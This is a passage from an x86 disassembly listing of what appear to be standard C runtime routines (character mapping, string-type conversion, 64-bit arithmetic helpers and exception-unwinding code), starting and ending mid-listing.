loc_40B558:				; CODE XREF: sub_40B540+14j
		test	eax, eax
		jz	short loc_40B567
		push	eax
		call	sub_40B575
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40B567:				; CODE XREF: sub_40B540+1Aj
		xor	eax, eax
		retn
sub_40B540	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B56A(LPCSTR	lpFileName)

sub_40B56A	proc near		; CODE XREF: sub_40ACD0+53p

lpFileName	= dword	ptr  4

		push	[esp+lpFileName] ; lpFileName
		call	sub_40B540
		pop	ecx
		retn
sub_40B56A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B575	proc near		; CODE XREF: sub_40B16E+1Fp
					; sub_40B540+1Dp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_40FBE4, ecx
		mov	eax, offset dword_40F750


loc_40B586:				; CODE XREF: sub_40B575+1Ej
		cmp	ecx, [eax]
		jz	short loc_40B5AA
		add	eax, 8
		inc	edx
		cmp	eax, offset off_40F8B8
		jl	short loc_40B586
		cmp	ecx, 13h
		jb	short loc_40B5B7
		cmp	ecx, 24h
		ja	short loc_40B5B7
		mov	dword_40FBE0, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_40B5AA:				; CODE XREF: sub_40B575+13j
		mov	eax, dword_40F754[edx*8]
		mov	dword_40FBE0, eax
		retn
; ---------------------------------------------------------------------------


loc_40B5B7:				; CODE XREF: sub_40B575+23j
					; sub_40B575+28j
		cmp	ecx, 0BCh
		jb	short loc_40B5D1
		cmp	ecx, 0CAh
		mov	dword_40FBE0, 8
		jbe	short locret_40B5DB


loc_40B5D1:				; CODE XREF: sub_40B575+48j
		mov	dword_40FBE0, 16h

locret_40B5DB:				; CODE XREF: sub_40B575+5Aj
		retn
sub_40B575	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B5DC(const CHAR CharType)

sub_40B5DC	proc near		; CODE XREF: sub_40B283+12Bp

DestStr		= byte ptr -4
var_3		= byte ptr -3
CharType	= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	Locale,	0
		push	ebx
		jnz	short loc_40B607
		mov	eax, dword ptr [ebp+CharType]
		cmp	eax, 61h
		jl	loc_40B6A5
		cmp	eax, 7Ah
		jg	loc_40B6A5
		sub	eax, 20h
		jmp	loc_40B6A5
; ---------------------------------------------------------------------------


loc_40B607:				; CODE XREF: sub_40B5DC+Cj
		mov	ebx, dword ptr [ebp+CharType]
		cmp	ebx, 100h
		jge	short loc_40B63A
		cmp	dword_40FAC4, 1
		jle	short loc_40B627
		push	2		; int
		push	ebx		; CharType
		call	sub_40B6A8
		pop	ecx
		pop	ecx
		jmp	short loc_40B632
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B5DC+3Dj
		mov	eax, off_40F8B8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_40B632:				; CODE XREF: sub_40B5DC+49j
		test	eax, eax
		jnz	short loc_40B63A


loc_40B636:				; CODE XREF: sub_40B5DC+AFj
		mov	eax, ebx
		jmp	short loc_40B6A5
; ---------------------------------------------------------------------------


loc_40B63A:				; CODE XREF: sub_40B5DC+34j
					; sub_40B5DC+58j
		mov	edx, off_40F8B8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_40B65D
		and	byte ptr [ebp+0Ah], 0
		mov	[ebp+CharType],	al
		mov	[ebp+9], bl
		push	2
		jmp	short loc_40B666
; ---------------------------------------------------------------------------


loc_40B65D:				; CODE XREF: sub_40B5DC+71j
		and	byte ptr [ebp+9], 0
		mov	[ebp+CharType],	bl
		push	1


loc_40B666:				; CODE XREF: sub_40B5DC+7Fj
		pop	eax
		lea	ecx, [ebp+DestStr]
		push	1		; int
		push	0		; CodePage
		push	3		; cchDest
		push	ecx		; lpDestStr
		push	eax		; cbMultiByte
		lea	eax, [ebp+CharType]
		push	eax		; lpMultiByteStr
		push	200h		; dwMapFlags
		push	Locale		; Locale
		call	sub_40B7C4
		add	esp, 20h
		test	eax, eax
		jz	short loc_40B636
		cmp	eax, 1
		jnz	short loc_40B698
		movzx	eax, [ebp+DestStr]
		jmp	short loc_40B6A5
; ---------------------------------------------------------------------------


loc_40B698:				; CODE XREF: sub_40B5DC+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+DestStr]
		shl	eax, 8
		or	eax, ecx


loc_40B6A5:				; CODE XREF: sub_40B5DC+14j
					; sub_40B5DC+1Dj ...
		pop	ebx
		leave
		retn
sub_40B5DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B6A8(WORD CharType,int)

sub_40B6A8	proc near		; CODE XREF: sub_40B283+27p
					; sub_40B283+E4p ...

MultiByteStr	= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
CharType	= word ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword ptr [ebp+CharType]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_40B6C6
		mov	ecx, off_40F8B8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_40B718
; ---------------------------------------------------------------------------


loc_40B6C6:				; CODE XREF: sub_40B6A8+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_40F8B8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_40B6EB
		and	[ebp+var_2], 0
		mov	[ebp+MultiByteStr], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_40B6F4
; ---------------------------------------------------------------------------


loc_40B6EB:				; CODE XREF: sub_40B6A8+33j
		and	[ebp+var_3], 0
		mov	[ebp+MultiByteStr], al
		push	1


loc_40B6F4:				; CODE XREF: sub_40B6A8+41j
		pop	eax
		lea	ecx, [ebp+0Ah]
		push	1		; int
		push	0		; Locale
		push	0		; CodePage
		push	ecx		; lpCharType
		push	eax		; cbMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	1		; dwInfoType
		call	sub_40BA13
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_40B714
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B714:				; CODE XREF: sub_40B6A8+68j
		movzx	eax, word ptr [ebp+0Ah]


loc_40B718:				; CODE XREF: sub_40B6A8+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_40B6A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B720	proc near		; CODE XREF: sub_40B4C8+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_40B742
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40B783
; ---------------------------------------------------------------------------


loc_40B742:				; CODE XREF: sub_40B720+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_40B750:				; CODE XREF: sub_40B720+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40B750
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40B77E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_40B77E
		jb	short loc_40B77F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_40B77F


loc_40B77E:				; CODE XREF: sub_40B720+4Ej
					; sub_40B720+54j
		dec	esi


loc_40B77F:				; CODE XREF: sub_40B720+56j
					; sub_40B720+5Cj
		xor	edx, edx
		mov	eax, esi


loc_40B783:				; CODE XREF: sub_40B720+20j
		pop	esi
		pop	ebx
		retn	10h
sub_40B720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B790	proc near		; CODE XREF: sub_40B4C8+19p
					; sub_40B50B+19p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_40B7A9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_40B7A9:				; CODE XREF: sub_40B790+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_40B790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B7C4(LCID Locale,DWORD dwMapFlags,LPCSTR lpMultiByteStr,int	cbMultiByte,LPSTR lpDestStr,int	cchDest,UINT CodePage,int)

sub_40B7C4	proc near		; CODE XREF: sub_40B5DC+A5p

var_28		= dword	ptr -28h
lpSrcStr	= dword	ptr -24h
var_20		= dword	ptr -20h
cchSrc		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
Locale		= dword	ptr  8
dwMapFlags	= dword	ptr  0Ch
lpMultiByteStr	= dword	ptr  10h
cbMultiByte	= dword	ptr  14h
lpDestStr	= dword	ptr  18h
cchDest		= dword	ptr  1Ch
CodePage	= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40D878
		push	offset sub_40BC54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_40FC38, edi
		jnz	short loc_40B83A
		push	edi		; cchDest
		push	edi		; lpDestStr
		push	1
		pop	ebx
		push	ebx		; cchSrc
		push	offset SrcStr	; lpSrcStr
		mov	esi, 100h
		push	esi		; dwMapFlags
		push	edi		; Locale
		call	ds:LCMapStringW	; LCMapStringW
		test	eax, eax
		jz	short loc_40B818
		mov	dword_40FC38, ebx
		jmp	short loc_40B83A
; ---------------------------------------------------------------------------


loc_40B818:				; CODE XREF: sub_40B7C4+4Aj
		push	edi		; cchDest
		push	edi		; lpDestStr
		push	ebx		; cchSrc
		push	offset byte_40D870 ; lpSrcStr
		push	esi		; dwMapFlags
		push	edi		; Locale
		call	ds:LCMapStringA	; LCMapStringA
		test	eax, eax
		jz	loc_40B952
		mov	dword_40FC38, 2


loc_40B83A:				; CODE XREF: sub_40B7C4+2Ej
					; sub_40B7C4+52j
		cmp	[ebp+cbMultiByte], edi
		jle	short loc_40B84F
		push	[ebp+cbMultiByte]
		push	[ebp+lpMultiByteStr]
		call	sub_40B9E8
		pop	ecx
		pop	ecx
		mov	[ebp+cbMultiByte], eax


loc_40B84F:				; CODE XREF: sub_40B7C4+79j
		mov	eax, dword_40FC38
		cmp	eax, 2
		jnz	short loc_40B876
		push	[ebp+cchDest]	; cchDest
		push	[ebp+lpDestStr]	; lpDestStr
		push	[ebp+cbMultiByte] ; cchSrc
		push	[ebp+lpMultiByteStr] ; lpSrcStr
		push	[ebp+dwMapFlags] ; dwMapFlags
		push	[ebp+Locale]	; Locale
		call	ds:LCMapStringA	; LCMapStringA
		jmp	loc_40B954
; ---------------------------------------------------------------------------


loc_40B876:				; CODE XREF: sub_40B7C4+93j
		cmp	eax, 1
		jnz	loc_40B952
		cmp	[ebp+CodePage],	edi
		jnz	short loc_40B88C
		mov	eax, dword_40FC54
		mov	[ebp+CodePage],	eax


loc_40B88C:				; CODE XREF: sub_40B7C4+BEj
		push	edi		; cchWideChar
		push	edi		; lpWideCharStr
		push	[ebp+cbMultiByte] ; cbMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+cchSrc], ebx
		cmp	ebx, edi
		jz	loc_40B952
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+lpSrcStr],	eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40B8E7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+lpSrcStr],	edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+cchSrc]


loc_40B8E7:				; CODE XREF: sub_40B7C4+10Ej
		cmp	[ebp+lpSrcStr],	edi
		jz	short loc_40B952
		push	ebx		; cchWideChar
		push	[ebp+lpSrcStr]	; lpWideCharStr
		push	[ebp+cbMultiByte] ; cbMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	1		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_40B952
		push	edi		; cchDest
		push	edi		; lpDestStr
		push	ebx		; cchSrc
		push	[ebp+lpSrcStr]	; lpSrcStr
		push	[ebp+dwMapFlags] ; dwMapFlags
		push	[ebp+Locale]	; Locale
		call	ds:LCMapStringW	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_40B952
		test	byte ptr [ebp+dwMapFlags+1], 4
		jz	short loc_40B966
		cmp	[ebp+cchDest], edi
		jz	loc_40B9E1
		cmp	esi, [ebp+cchDest]
		jg	short loc_40B952
		push	[ebp+cchDest]	; cchDest
		push	[ebp+lpDestStr]	; lpDestStr
		push	ebx		; cchSrc
		push	[ebp+lpSrcStr]	; lpSrcStr
		push	[ebp+dwMapFlags] ; dwMapFlags
		push	[ebp+Locale]	; Locale
		call	ds:LCMapStringW	; LCMapStringW
		test	eax, eax
		jnz	loc_40B9E1


loc_40B952:				; CODE XREF: sub_40B7C4+66j
					; sub_40B7C4+B5j ...
		xor	eax, eax


loc_40B954:				; CODE XREF: sub_40B7C4+ADj
					; sub_40B7C4+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B966:				; CODE XREF: sub_40B7C4+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40B99A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_40B99A:				; CODE XREF: sub_40B7C4+1C2j
		cmp	ebx, edi
		jz	short loc_40B952
		push	esi		; cchDest
		push	ebx		; lpDestStr
		push	[ebp+cchSrc]	; cchSrc
		push	[ebp+lpSrcStr]	; lpSrcStr
		push	[ebp+dwMapFlags] ; dwMapFlags
		push	[ebp+Locale]	; Locale
		call	ds:LCMapStringW	; LCMapStringW
		test	eax, eax
		jz	short loc_40B952
		cmp	[ebp+cchDest], edi
		push	edi		; lpUsedDefaultChar
		push	edi		; lpDefaultChar
		jnz	short loc_40B9C1
		push	edi
		push	edi
		jmp	short loc_40B9C7
; ---------------------------------------------------------------------------


loc_40B9C1:				; CODE XREF: sub_40B7C4+1F7j
		push	[ebp+cchDest]	; cbMultiByte
		push	[ebp+lpDestStr]	; lpMultiByteStr


loc_40B9C7:				; CODE XREF: sub_40B7C4+1FBj
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	220h		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_40B952


loc_40B9E1:				; CODE XREF: sub_40B7C4+165j
					; sub_40B7C4+188j
		mov	eax, esi
		jmp	loc_40B954
sub_40B7C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9E8	proc near		; CODE XREF: sub_40B7C4+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_40BA05


loc_40B9F8:				; CODE XREF: sub_40B9E8+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_40BA05
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_40B9F8


loc_40BA05:				; CODE XREF: sub_40B9E8+Ej
					; sub_40B9E8+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_40BA10
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40BA10:				; CODE XREF: sub_40B9E8+21j
		mov	eax, edx
		retn
sub_40B9E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BA13(DWORD dwInfoType,LPCSTR lpMultiByteStr,int cbMultiByte,LPWORD lpCharType,UINT CodePage,LCID Locale,int)

sub_40BA13	proc near		; CODE XREF: sub_40B6A8+5Ep

var_24		= dword	ptr -24h
cchWideChar	= dword	ptr -20h
CharType	= word ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
dwInfoType	= dword	ptr  8
lpMultiByteStr	= dword	ptr  0Ch
cbMultiByte	= dword	ptr  10h
lpCharType	= dword	ptr  14h
CodePage	= dword	ptr  18h
Locale		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40D890
		push	offset sub_40BC54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_40FC5C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_40BA82
		lea	eax, [ebp+CharType]
		push	eax		; lpCharType
		push	1
		pop	esi
		push	esi		; cchSrc
		push	offset SrcStr	; lpSrcStr
		push	esi		; dwInfoType
		call	ds:GetStringTypeW	; GetStringTypeW
		test	eax, eax
		jz	short loc_40BA60
		mov	eax, esi
		jmp	short loc_40BA7D
; ---------------------------------------------------------------------------


loc_40BA60:				; CODE XREF: sub_40BA13+47j
		lea	eax, [ebp+CharType]
		push	eax		; lpCharType
		push	esi		; cchSrc
		push	offset byte_40D870 ; lpSrcStr
		push	esi		; dwInfoType
		push	ebx		; Locale
		call	ds:GetStringTypeA	; GetStringTypeA
		test	eax, eax
		jz	loc_40BB48
		push	2
		pop	eax


loc_40BA7D:				; CODE XREF: sub_40BA13+4Bj
		mov	dword_40FC5C, eax


loc_40BA82:				; CODE XREF: sub_40BA13+2Fj
		cmp	eax, 2
		jnz	short loc_40BAAB
		mov	eax, [ebp+Locale]
		cmp	eax, ebx
		jnz	short loc_40BA93
		mov	eax, Locale


loc_40BA93:				; CODE XREF: sub_40BA13+79j
		push	[ebp+lpCharType] ; lpCharType
		push	[ebp+cbMultiByte] ; cchSrc
		push	[ebp+lpMultiByteStr] ; lpSrcStr
		push	[ebp+dwInfoType] ; dwInfoType
		push	eax		; Locale
		call	ds:GetStringTypeA	; GetStringTypeA
		jmp	loc_40BB4A
; ---------------------------------------------------------------------------


loc_40BAAB:				; CODE XREF: sub_40BA13+72j
		cmp	eax, 1
		jnz	loc_40BB48
		cmp	[ebp+CodePage],	ebx
		jnz	short loc_40BAC1
		mov	eax, dword_40FC54
		mov	[ebp+CodePage],	eax


loc_40BAC1:				; CODE XREF: sub_40BA13+A4j
		push	ebx		; cchWideChar
		push	ebx		; lpWideCharStr
		push	[ebp+cbMultiByte] ; cbMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+cchWideChar], eax
		cmp	eax, ebx
		jz	short loc_40BB48
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_40BD30
		add	esp, 0Ch
		jmp	short loc_40BB17
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_40BB17:				; CODE XREF: sub_40BA13+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_40BB48
		push	[ebp+cchWideChar] ; cchWideChar
		push	esi		; lpWideCharStr
		push	[ebp+cbMultiByte] ; cbMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	1		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_40BB48
		push	[ebp+lpCharType] ; lpCharType
		push	eax		; cchSrc
		push	esi		; lpSrcStr
		push	[ebp+dwInfoType] ; dwInfoType
		call	ds:GetStringTypeW	; GetStringTypeW
		jmp	short loc_40BB4A
; ---------------------------------------------------------------------------


loc_40BB48:				; CODE XREF: sub_40BA13+61j
					; sub_40BA13+9Bj ...
		xor	eax, eax


loc_40BB4A:				; CODE XREF: sub_40BA13+93j
					; sub_40BA13+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BA13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB5C	proc near		; CODE XREF: sub_40BC54+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_40BB74
		push	[ebp+arg_0]
		call	RtlUnwind	; RtlUnwind


loc_40BB74:				; DATA XREF: sub_40BB5C+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40BB5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB7C	proc near		; DATA XREF: sub_40BB9E+Ao
					; .text:0040BC0Fo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_40BB9D
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40BB9D:				; CODE XREF: sub_40BB7C+10j
		retn
sub_40BB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB9E	proc near		; CODE XREF: sub_40BC54+67p
					; sub_40BC54+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_40BB7C
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40BBBB:				; CODE XREF: sub_40BB9E:loc_40BBF6j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40BBF8
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40BBF8
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40BBF6
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_40BC32
		call	dword ptr [ebx+esi*4+8]


loc_40BBF6:				; CODE XREF: sub_40BB9E+44j
		jmp	short loc_40BBBB
; ---------------------------------------------------------------------------


loc_40BBF8:				; CODE XREF: sub_40BB9E+2Aj
					; sub_40BB9E+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40BB9E	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_40BB7C
		jnz	short locret_40BC28
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40BC28
		mov	eax, 1

locret_40BC28:				; CODE XREF: .text:0040BC16j
					; .text:0040BC21j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_40FAD0
		jmp	short loc_40BC3C

; =============== S U B	R O U T	I N E =======================================



sub_40BC32	proc near		; CODE XREF: sub_40BB9E+4Fp
					; sub_40BC54+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_40FAD0
		mov	ecx, [ebp+8]


loc_40BC3C:				; CODE XREF: .text:0040BC30j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_40BC32	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC54	proc near		; DATA XREF: sub_40B7C4+Ao
					; sub_40BA13+Ao

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_40BCF4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_40BC87:				; CODE XREF: sub_40BC54+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40BCED
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40BCDB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40BCDB
		js	short loc_40BCE6
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40BB5C
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_40BB9E
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_40BC32
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_40BCDB:				; CODE XREF: sub_40BC54+40j
					; sub_40BC54+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_40BC87
; ---------------------------------------------------------------------------


loc_40BCE6:				; CODE XREF: sub_40BC54+54j
		mov	eax, 0
		jmp	short loc_40BD09
; ---------------------------------------------------------------------------


loc_40BCED:				; CODE XREF: sub_40BC54+36j
		mov	eax, 1
		jmp	short loc_40BD09
; ---------------------------------------------------------------------------


loc_40BCF4:				; CODE XREF: sub_40BC54+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_40BB9E
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_40BD09:				; CODE XREF: sub_40BC54+97j
					; sub_40BC54+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40BC54	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_40BB9E
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40BD30	proc near		; CODE XREF: sub_40BA13+EFp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40BD83
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
